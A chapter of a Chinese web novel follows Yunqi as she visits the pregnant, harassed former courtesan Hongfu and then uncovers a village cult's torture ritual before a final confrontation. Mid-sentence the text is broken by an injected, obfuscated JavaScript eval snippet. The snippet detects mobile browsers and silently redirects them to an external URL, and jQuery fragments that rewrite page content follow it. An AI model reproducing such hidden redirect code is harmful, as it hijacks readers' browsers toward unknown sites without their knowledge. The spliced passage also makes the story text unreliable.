81. 准备

张旭没有多问,招呼着若有所思的两个孩子吃饭,刚才的小插曲最大的影响便是让人不得不担心齐史一气之下跑去报官,没做亏心事倒不怕被抓,但钱业常在镇上游荡,就怕惊动了他,连唯一的安稳之处也没了。


饭后柚绮将蒋书杏带回镇子,后者看出她心事重重,便主动道:“他不会说出去的,不用担心。”


“嗯?为什么这么说?”


“他最怕事,今天找过来已经是极限了。”她冷哼道,“被我拒绝最多再来劝劝,传出去怕被你们报复,胆小如鼠。”


很是不屑,做什么都不顾后果的她最看不起这样懦弱无能的人。


柚绮还是有点不放心,按蒋书杏说的地址找过去,齐史果然安分,无论是跟长辈在一起还是和其他小孩一起玩都是一副若无其事的样子,半点没提起今天吃瘪的事。


她松了口气,想回去又想起许久没见过的红芙,想起她曾说自己家在镇子边缘,便再三打听,连着被五个人回以摇头后终于得知在郊野交界处落座了一家胭脂铺,是一个男人开的,不过半年前多了个老板娘,貌美非常。


柚绮顺着路人指的方向寻过去,在荒无人烟的地段走了将近一个时辰,她回头看看已经望不到尽头的小路和前方依旧没有任何建筑的荒野,几乎快怀疑人生了。


说是偏,也没想到这么偏啊!!


她想起以前看过的一些“闺蜜嫁进大山我去看她”的段子,突然觉得这样自己都还要去看她简直是把这辈子都良心都交代在这儿了。


在她如同行尸走肉般不知又在草甸路上晃荡了多久后,两个男人满嘴脏话地迎面走来,与少女擦肩而过,其中一人还在放声大骂。


“不过就是个臭婊子,得意什么?!老子看得上她是她的荣幸,一个残花败柳还敢挑三拣四,呸!贱人装清高,老子都嫌恶心!”


后面的话越来越难听,另一人附和连连,污言秽语不堪入耳。


柚绮心一跳,加快脚步赶路,果然不多时便看到了一栋两层的店铺,是方圆十里唯一的落脚处。


门口匾额上刻着“月因楼”三字,两个精致但有些老旧的大红灯笼斜挂在两边,门关着都能闻到浓郁的胭脂水粉气息。


她敲了几下门,还没出声,里面瞬间传来女人的怒骂声:“滚啊!!扫帚杆没吃够吗!都给我滚!畜牲玩意儿!我见你们一次打你们一次!!”


“……红芙?你还好吗?”小心翼翼的语气。


里面静了好一会儿,门被打开,缠着头巾的妇女讶异地站着,愣愣地看着她,脸上抹的都是最廉价的胭脂,有些憔悴,却仍不掩其风流美貌。


“……”妇人呆了良久,紧接着扯出一个僵硬的笑,将人请进屋,“欸,我以为是那群不要脸的呢,也是巧,每次发脾气都被你给赶上了……这段时间忙什么呢,我可是等得望眼欲穿。”


她手上戴着一个小指粗的金镯子,上面还镶着璀璨的红宝石,那是第一次见面时脚环,柚绮记得很清楚。


察觉到她的视线,红芙洗干净水杯,倒好茶推过去,笑道:“这是两个月前莒妾来看我时带过来的,我也没想到她会帮我赎回来,可能是看我过得拘谨,想帮帮我。”


柚绮点点头,左右看看:“你丈夫呢?”


“出去了,这个铺子位置太偏,赚不到什么钱,全靠他去山里打点野味,砍点柴什么的。”


“他对你好吗?”


红芙僵了僵,苦笑道:“倒还不错,只是性子软了些,因着原来的身份,又常有人来骚扰,还得靠我自己赶人。”


“这样怎么过得好?”柚绮皱起眉,提议道,“不如离了跟我走,免得那些人嚼舌根。”


不说她也知道,红芙躲到这么偏的地方来有很大一部分原因是但凡露面便会被唾沫星子淹死,饭后谈资这种东西谁都喜欢,当面背面都是一口一个“婊子”。


就算她丈夫不在乎她曾经如何,但总不在家再加上过于老实,最后遭殃的还是手无缚鸡之力的妻子。


红芙垂眸沉思,手覆在小腹上,轻声细语:“不行啊……他不能没有父亲。”


柚绮刚喝了一口茶,闻言差点喷出来:“你怀孕了?!”


“……嗯。”她露出庆幸又满意的笑容,抬眼看来时柔光荡漾,“三个月了,我做了好些小衣服,不知道合不合适。”


她痴痴地笑着,对这个孩子的到来期待到成了活下去的唯一动力,难以想象这是当初那个如此蔑视成家生子的红香苑头牌,那时的她是那样的傲慢,独立,只为自己而活。


但从现在开始,她要为别人献出所有了。


有美满的家庭是件好事,但前提是这个家带来的好处大于弊端,如果每走一步都是在被深渊吞噬,无异于是慢性自杀。


柚绮知道自己劝不了她,自古以来的女子均坚持孩子不能没有双亲中的任何一方,所以常常为了孩子忍耐丈夫的懦弱、打骂,甚至谋杀。


那根连接着母婴的脐带从来没有真正剪断过,它始终桎梏着每一位母亲,让她们心甘情愿地为从自己身上掉下来的那块肉付出一切,至死不休。


柚绮留了一盒子金银给她,婉拒挽留后找到来时遇到的那几个男人,用武力说服了他们以后再不去找红芙的麻烦,还会通知别的兄弟也收手。


她不知道这招能管用多久,但只要自己还在一日,他们就会安分一日。


本想给红芙留个道具自保,可系统和赵珂死时一样拒绝了她的请求,这不是个好讯号,所以她只能用最原始的办法去保护自己想保住的人。


回村子前她悄悄去看了一趟莒妾,她在青楼混得风生水起,还是个清倌,老鸨多次想让她接客都被敷衍了过去,碍于她是楼里的摇钱树,竟拿她没办法。


此后三年里,柚绮始终在村子、竹屋、红芙家和红香苑四处来回奔波,后者第二年生了个男娃,取


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323436|165318||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


名为“歧”。


而文状一病不起,在她某次离开后彻底消失了,找遍了村子也没找到,他的家人却满面红光,一副摆脱了大麻烦的样子。


赵祭在张旭的看护下一天天长大,对于阿姐跟蒋书杏的合作也逐渐明了,柚绮不在时便是他和对方对接,等她回来了便殷勤地把得到的信息递过去,乖乖扬起头等夸奖。


只要能得到一个“不错”或者“很好”,他便立马摇着尾巴恳求她多留一会儿,否则一走又是好几个月。


柚绮却没那个空,最近李景鸿不知在村子里规划什么邪门的东西,又是画符又是洒鸡血的,看起来像是某种献祭仪式。


齐家有个小姑娘跟着蒋书杏偷偷来过两次,在帮忙找草药和打听线索上帮了不少忙,齐史听说后气坏了,把她抓回去便关了整整一个月,之后就再也没有来过了。


经过长时间不眠不休的跟踪,柚绮终于探听到了有关文状的消息,跟着找过去却在祠堂下的山洞里见到了罔顾人伦的残忍画面。


一个个濒死的人被一些乱七八糟的酷刑折磨后装进灌满药的罐子,偶尔有清醒的人挣扎痛骂,都被自己亲人冷淡的眼神和帮凶的行为消磨了气性,只能绝望地亲眼看着自己被折断手脚,禁锢在一个小坛子里,永世不得翻身。


文状不在其中。


柚绮浑身发冷,又跑去文家找,依旧无果,仪式的准备却一日比一日周全,显然不久后就要开始实行了。


系统任务进度停滞在90%,0821发出红线的警告,再不敢相信她也明白,决战的那天快到了,而自己处于绝对的劣势,最好的结局不过同归于尽。


回到竹屋,张旭见她精神萎靡,还没意识到问题的严重性:“这次也没找到吗?罢了,生死有命,可能已经埋了。”


“要是真埋了也好。”柚绮将这几个月的见闻一五一十地讲了一遍,也没避着八岁的赵祭,两人脸色铁青,对视一眼后相继沉默。


“……要来了吗?你可有把握?”


“没有,但我会尽全力。”她看便宜弟弟一眼,“他就交给你了,看好,别来添乱。”


张旭觉得匪夷所思:“你还要去阻止?这种事搞不好连尸首都留不下,坟都没法给你埋。”


“也不一定就是我输,李景鸿的计划估摸着就是这两日了,我今日只是想再回来看一眼,此次上山……”这话说得倒像遗言了,她抿了抿唇,“……我答应过许篱筱,不死不休。”


张旭恨铁不成钢地瞪着她,张了几次嘴都没说出话来,赵祭拉了拉她的衣服,轻声道:“阿姐是要去完成自己的抱负了吗?是不是很危险?什么时候回来?”


“……”柚绮蹲下身,看着那张跟故人有六分像的脸,伸出手又收了回来,一咬牙,决绝地转身走出院落,冷声道,“不知道,完成了便回来。”


这些年她有意避着这个孩子,不仅是怕连累他,更是自己对现实的逃避。